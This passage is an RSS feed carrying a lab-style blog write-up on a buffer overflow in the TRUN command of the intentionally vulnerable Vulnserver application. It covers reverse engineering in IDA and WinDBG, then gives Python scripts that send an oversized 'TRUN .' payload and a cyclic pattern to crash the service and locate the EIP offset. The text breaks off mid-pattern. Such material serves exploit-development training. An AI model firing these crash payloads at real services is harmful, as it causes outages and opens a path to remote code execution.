<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by scr1++y on Medium]]></title>
        <description><![CDATA[Stories by scr1++y on Medium]]></description>
        <link>https://medium.com/@scritty?source=rss-54d24075c003------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*EKHHnv6CpV3x7CvXBaiU-A.jpeg</url>
            <title>Stories by scr1++y on Medium</title>
            <link>https://medium.com/@scritty?source=rss-54d24075c003------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 05:08:58 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@scritty/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Writeup: Vulnserver Remote Code Execution via TRUN() function]]></title>
            <link>https://scritty.medium.com/writeup-vulnserver-remote-code-execution-via-trun-function-df81f087160c?source=rss-54d24075c003------2</link>
            <guid isPermaLink="false">https://medium.com/p/df81f087160c</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[binary-exploitation]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[vulnserver]]></category>
            <category><![CDATA[windows-exploitation]]></category>
            <dc:creator><![CDATA[scr1++y]]></dc:creator>
            <pubDate>Mon, 03 Nov 2025 07:04:54 GMT</pubDate>
            <atom:updated>2025-11-03T07:10:36.896Z</atom:updated>
            <content:encoded><![CDATA[<h3>Summary</h3><pre>Application Binary: vulnserver.exe<br>Vulnerability: Buffer Overflow leading to Remote Code Execution (TRUN function)<br>Severity: Critical</pre><h3>Vulnerability Overview</h3><p>The application vulnserver.exe does not check the length of the user input allowing buffer overflows to take place. This vulnerability also allows the attacker to take control of the instruction pointer that leads to remote, arbitrary code execution.</p><h3>Vulnerability Analysis</h3><p>We analyzed the application binary via conducting multiple analysis. The analysis conducted are categorized by two main parts: <em>Static Analysis</em> and <em>Dynamic Analysis</em>.</p><h3>Static Analysis</h3><p>We ran a series of checks in the application binary to map out the potential avenues for attack. These includes (but not limited to):</p><ol><li>Verifying the application signatures</li><li>Reverse engineering the application binaries</li><li>Checking for hardcoded strings.</li></ol><h4>Application Binary Analysis</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1yJEaw_dRyoP8yeH.png" /></figure><p>Looking at the image above, we can see that the application binaries are unsigned, which may allow an attacker to modify the application binary and introduce vulnerability to the system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*iUPpj3nBFqCdvtTz.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/358/0*1BqiUHgwFlse7-Li.png" /></figure><p>We can also see some references of the strings that may be used in the application, more notably the port number 9999 and some that looks like a command that will be used in the application. Also there are traces of dangerous C functions (such as <em>strcpy</em>) that are visible on the screenshot above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*NPIe9MRiMcIctXwB.png" /></figure><p>We can also see that the application binaries are not compiled with multiple exploit mitigation flags such as ASLR, DEP and etc. <em>This exploit mitigations will be discussed in the succeeding blog posts, so stay tuned :wink:</em></p><h3>Dynamic Analysis</h3><h4>Network Analysis</h4><p>We can see from the previous analysis (<em>specifically the binary strings</em>) that the application is running on the port 9999. We can also verify this using the tool in Microsoft&#39;s SysInternalSuite: TCPView.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vRnD0YFB8l-RmCf6.png" /></figure><p>We filtered out the search results to only contain the string vuln so we can easily see the vulnserver.exe binary.</p><p>The screenshot above confirms the port number which is 9999 (<em>default port for the application binary</em>).</p><p>We can also use another tool in the Microsoft’s SysInternalSuite: Process Monitor - procmon64a.exe (<em>Note: I am using an ARM64 laptop so I need to use the ARM64 version of procmon.exe - this is specific for the Process Monitor.</em>)</p><p>We created a filter to capture only the activities generated by the vulnserver.exe process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_lm7sMISK_CLCmh4.png" /></figure><p>We also filtered the activities to only show the network activities done by the vulnserver.exe application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/0*dG3NwkHM9p1qMVrs.png" /></figure><p>No entries are listed based on the screenshot above. We can generate network traffic by interacting with the application using netcat. We will use our Kali Linux virtual machine to interact with the vulnserver.exe application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nSG19O8gN70ENRcR.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*JyEmAEPCzj830K7H.png" /></figure><p>Using netcat, we can see that the we successfully initiated a network connection. This confirms our analysis earlier that the application runs on port 9999.</p><h3>Vulnerability Discovery</h3><h4>Reverse Engineering the Application Binary</h4><p>From this point onward, it would be easier to combine the elements of static and dynamic analysis for more efficient vulnerability discovery. We will use WinDBG as the debugger of choice in this tutorial.</p><p>Opening the application binary in a disassembler (in this case, IDA Free), we can look at the initial graph overview.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SxZFCOMuKf4xo23e.png" /></figure><p>Looking at the graph overview above, it looks like a series of conditional branches that lead on correct path (lower right) and errors (lower left). This is the graph overview for the main() function of the application which consists of binding the port (<em>we saw that earlier in the strings.exe output which is defaulting to port 9999</em>) to be used in the application.</p><p>Since we know that the application is communicating through the port 9999, we can infer that the application should receive a connection via the recv() function that resides in the dynamic link library (DLL) ws2_32.dll.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ICpfCYIdgwdnnt9h.png" /></figure><p>We can see that the recv() function is imported in the application. Checking the cross-references (xrefs) for this function, we stumbled upon the bulk of the application&#39;s logic (<em>see the screenshots below - specifically the graph overview</em>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Tm9Cbuoiwbuu-PWF.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*zs6FZvXD_ADJsqYU.png" /></figure><p>We will only focus on the code path that leads us to the TRUN function for now.</p><p>Inside WinDBG, we set a breakpoint (bp) to the recv() (<em>which resides on ws2_32.dll</em>) function so when the application calls to that function, we can pause execution and analyze the application further.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*V9v_Z9eIj5Qb781b.png" /></figure><p>Let’s continue execution (g) and analyze the binary further. (<em>Note: In the command window, it should say: &quot;\</em>BUSY* Debuggee is running...&quot;*) Then connect again on the vulnserver.exe application by sending a packet using netcat.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*mlThtD8vps2nzmSH.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*6pIia6342ztnXcuR.png" /></figure><p>As we can see on the screenshot above, the application is paused (<em>in the Kali VM</em>) and we hit the breakpoint we set earlier on the recv() function in WinDBG.</p><p>From our previous analysis, we cannot easily see how much packet size the application can handle. But using a debugger we can see it in real time. We can dump 5 values of off the stack (dd esp L5 - <em>dump 5 DWORDs at ESP </em>) and check the parameters used in the recv() function (<em>Note: the calling convention used in this function is stdcall - which is commonly used in Windows APIs. There are several calling conventions that are used and will not be in scope in this tutorial.</em>) See <a href="https://learn.microsoft.com/en-us/cpp/cpp/calling-conventions?view=msvc-170">this</a> link for more information about C/C++ calling conventions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rDtc7elL_CllKP9m.png" /></figure><p>We can see the contents of the stack as shown in the screenshot above. We can see the arguments for recv() function highlighted in different colors.</p><p>Looking at the output, we can see that the application can handle 4096 bytes (<em>0x1000 in hexadecimal</em>) of data. According to the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv">Microsoft Documentation</a>, if the recv() function call is successful, it should return a non-zero value and zero if the connection is gracefully closed. Let&#39;s continue execution and send the string HELP to the application and step through until a return instruction is called (pt).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7zIrjfP-ml8MEsXm.png" /></figure><p>We can see that EAX contains the value of 0x000000005 which is the length of our inputted string + the string terminator (\x00, NULL). EAX register is commonly used for storing return values after the function finished execution.</p><p>Let’s step through (p) the application and analyze how our data is processed in the application binary.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/0*UsT4008bOZSkq6GR.png" /></figure><p>This comparison statement on the screenshot above is aligned on what the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv">Microsoft Documentation</a> says. It checks if the return value is 0 or it is a SOCKET_ERROR. Since we got 0x5 value in EAX, we should pass this check.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/0*1sEozv7FIHAmKAMp.png" /></figure><p>The next code block (<em>see the screenshot above</em>) shows that there is a string length comparison via strncmp() function. It compares two strings up to the length specified. Let&#39;s set a breakpoint in the call instruction for _strncmp (bp 0x401984) and continue execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BS4IGnDOQRWdm2fb.png" /></figure><p>Continuing execution, we can see that our user input is not expected by the application. Our input string is: HELP\x00 but the application expects HELP \x00 (<em>with a space + NULL terminator</em>). Let&#39;s send the proper input.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Cgi1dnyo2OhF-cFA.png" /></figure><p>Continuing execution, we come up to the code branch indicating the HELP function is not implemented yet (<em>based on the error message</em>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8lMoSDFphMJVOh_e.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/0*c2PaJhfTNicTP66u.png" /></figure><p>Let’s look back on the graph overview of the application to see where are we in the execution process.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*BwnMQS-_IWfQx6Ro.png" /></figure><p>Lets set a breakpoint to the next code block (0x00402477) to see where we land after we finish executing the HELP function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*pb65JMw5KAPDrZkx.png" /></figure><p>Since <em>[ebp-414h]</em> does not contain -1 or 0xffffffff, we jump back to the start of the application code and the application waits for the user input again.</p><p>Since we know that the HELP command is not yet implemented, we follow different code path and we found multiple string length comparison for different commands that the application supports. Since we are only interested in the TRUN function. We can speed up the analysis and focus on the code path that leads us to that function.</p><pre>Command analysis recap:</pre><pre>1. HELP (with space) -&gt; Command not yet implemented<br>2. HELP (without space) -&gt; Returns HELP output (list of valid commands)</pre><p>Based on the recap above, we found 2 code paths for HELP function that are variations of the command, one with space and one that does not have space. This will result to different lengths of strings, 4 and 5. The code block below shows the string comparison for the command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*xj1-dcitmErVtAN_.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*my00HF3OAoJl-c1i.png" /></figure><p>Continuing the analysis, we can see multiple string length comparison for commands such as STATS, RTIME, etc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*eDrq5LFdDQqxFwHw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UTg98K49_iL6IN1k.png" /></figure><p>We also see the TRUN function after the series of string length comparison for other commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-LVOLP2S4A4HxCzC.png" /></figure><p>Lets set a breakpoint to the TRUN code block to speed up analysis and execute (g) until the breakpoint is hit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*3lkfSqJ9SswdhTEC.png" /></figure><p>We also cleared the previous breakpoint (0x00402477) and added the TRUN code block address (0x00401CDB).</p><p>Lets send the command: TRUN. Notice the space character after the command and continue execution until the function _strncmp is called.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Gl3dCErX9Ddiv4gt.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ari8Eu82LZgWr9--.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*aPc_8aNRO8UCC0uZ.png" /></figure><p>We can see on the screenshots above that our input is being compared to the expected string that is passed through the TRUN function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*f0-KYDfIc1FtjLsT.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*G_iu10pi2fQAImQx.png" /></figure><p>Looking at the next code block, we can see that there is a malloc function call that allocates 0xbb8 bytes (<em>3000 in decimal</em>) of size and sets (memset) 3000 bytes of zeroes in a memory location.</p><p>There is only one code path (<em>which is denoted by blue line below the code block</em>) after this code block. Lets continue the analysis.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*UKZGkXQaAV1E1S7B.png" /></figure><p>The image above is the next code block after the malloc and memset function call. We can see from the image below that there is a comparison for the packet size of our input to the expected packet size of recv() function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*damsReVT6ITXiFH0.png" /></figure><p>Since we passed the checks, the jump (jge) would not be taken. The next code block (<em>see image below</em>) checks if the last character of our input ends with . or 0x2e. Since it does not pass the check, the jump (jnz or jne) would be taken.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*nJpGHUTPvsH-arJI.png" /></figure><p>We need to add the . or 0x2e character for us to proceed with the next code block. If we add the . or 0x2e character, we will land in this following code block: (<em>see image below</em>)</p><p>We are greeted with the function named _strncpy which is one of the dangerous C functions when improperly used. But there is a function named _Function3. Let&#39;s look at the contents of the function.</p><p>We now reached a potentially vulnerable code block on the vulnserver application. Let&#39;s now try to set a breakpoint until here (0x401821) and send a payload larger than the expected size for the TRUN function. (<em>note: IP address changed since I restarted the Windows VM in which vulnserver is hosted.</em>)</p><p>Payload should look like this (<em>note: 5000 is arbitrary amount, we know that the TRUN function expects 3000 bytes</em>):</p><pre>TRUN .AAAAAAAAAAA -&gt; until 5000</pre><p>To generate such payload, we can use python:</p><pre>python3 -c &quot;print(&#39;TRUN .&#39;+&#39;A&#39;*5000)&quot; | xclip -selection clipboard</pre><p>Since strcpy contains two function parameters (src &amp; dest), let&#39;s dump the values in ESP to see if our input is passed through this dangerous function.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rvaiNgAh7Be7Itxq.png" /></figure><p>Let’s continue execution and see what will happen. Note that the function only expects 3000 bytes of data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rmFQTw2v56iGPZjV.png" /></figure><p>We have found a critical severity vulnerability on the vulnserver application, a memory corruption vulnerability!</p><h3>Exploit Development</h3><p>Now that we confirmed that there is a memory corruption vulnerability regarding the TRUN function, let&#39;s try to create a script to make it recreatable even without a debugger. We choose python to create our script because of readability and easy prototyping. The script below automates the interaction with the vulnserver application and sending the expected input we want to trigger which is the TRUN function.</p><pre># Add the necessary imports<br>import socket</pre><pre># Vulnserver parameters<br>PORT = 9999<br>HOST = &quot;192.168.251.228&quot; # Use the IP of the machine in which the vulnserver is hosted (use ipconfig in the Windows terminal)</pre><pre># Create a server variable with tuple type -&gt; expected in connect()<br>server = (HOST, PORT)</pre><pre># Exploit (Our user input emulation)<br>cmd = b&quot;TRUN .&quot;<br>buf = b&quot;A&quot; * 5000</pre><pre># Payload construction<br># exp = TRUN .AAAA -&gt; until 5000<br>exp = cmd +  buf</pre><pre>try:<br>    # Create a IPv4 TCP socket<br>    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</pre><pre>    # Connect to the vulnserver application<br>    print(f&quot;[i] Connecting to {HOST} at port {PORT}...&quot;)<br>    s.connect(server)</pre><pre>    # Send our malicious input<br>    print(&quot;[i] Sending malicious input...&quot;)<br>    s.send(exp)</pre><pre>    # Close the connection<br>    print(&quot;[+] Malicious input sent! Closing the connection...&quot;)<br>    s.close()</pre><pre># Print out any errors encountered in the socket connection<br>except socket.error as e:<br>    print(f&quot;Socket Error! Error: {e}&quot;)</pre><p>With this script, we can try to crash the vulnserver application. Let&#39;s try this with a debugger on.</p><p>On the Windows virtual machine, we can see that the debugger raised an Access Violation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*H9xulZb3bQJoSzLw.png" /></figure><p>On the Kali virtual machine, we can see that we just ran the script through python3 that emulates interaction with the vulnserver application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*4WZOE_L5Qspye0_L.png" /></figure><h3>Exploitability Assessment</h3><p>We found a denial-of-service vulnerability via memory corruption that we found on the vulnserver application. Is there any much we can do beyond that? Of course, we can try to escalate this to code execution since we control the value in the EIP (<em>instruction pointer</em>).</p><p>Important terms before moving on (specifically on this context only):</p><ol><li>Cyclic pattern/ De Bruijn sequences -&gt; a series of unique sequence of characters that can determine the offset where the application crashes.</li><li>Offset -&gt; number of bytes in which the application starts to overwrite the EIP.</li><li>EIP/Instruction Pointer -&gt; a register used to store the address of the instruction to be executed next.</li></ol><p>Now we defined the terms we needed to know before we try to escalate this to code execution, let’s generate a cyclic pattern and replace the 5000 A&#39;s that we added in the code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CYVy_UZZI24iL3Ch.png" /></figure><p>Using the pattern created above, the code looks like this:</p><pre># Add the necessary imports<br>import socket</pre><pre># Vulnserver parameters<br>PORT = 9999<br>HOST = &quot;192.168.251.228&quot; # Use the IP of the machine in which the vulnserver is hosted (use ipconfig in the Windows terminal)</pre><pre># Create a server variable with tuple type -&gt; expected in connect()<br>server = (HOST, PORT)</pre><pre># Exploit (Our user input emulation)<br>cmd = b&quot;TRUN .&quot;<br># buf = b&quot;A&quot; * 5000 # Commented first to accommodate our cyclic pattern</pre><pre># To create such character pattern:<br># msf-pattern_create -l 5000<br>#<br># msf-pattern_create is preinstalled in Kali Linux distributions<br>#  -l -&gt; length</pre><pre>pattern = b&quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz